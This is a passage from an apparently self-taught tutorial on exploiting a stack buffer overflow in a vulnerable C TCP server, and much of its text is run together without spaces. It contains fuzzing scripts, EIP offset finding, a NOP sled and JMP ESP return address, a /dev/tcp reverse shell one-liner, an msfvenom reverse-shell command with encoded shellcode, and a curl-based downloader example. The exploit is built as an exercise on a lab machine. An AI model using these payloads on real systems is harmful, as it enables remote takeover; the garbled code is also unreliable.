thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

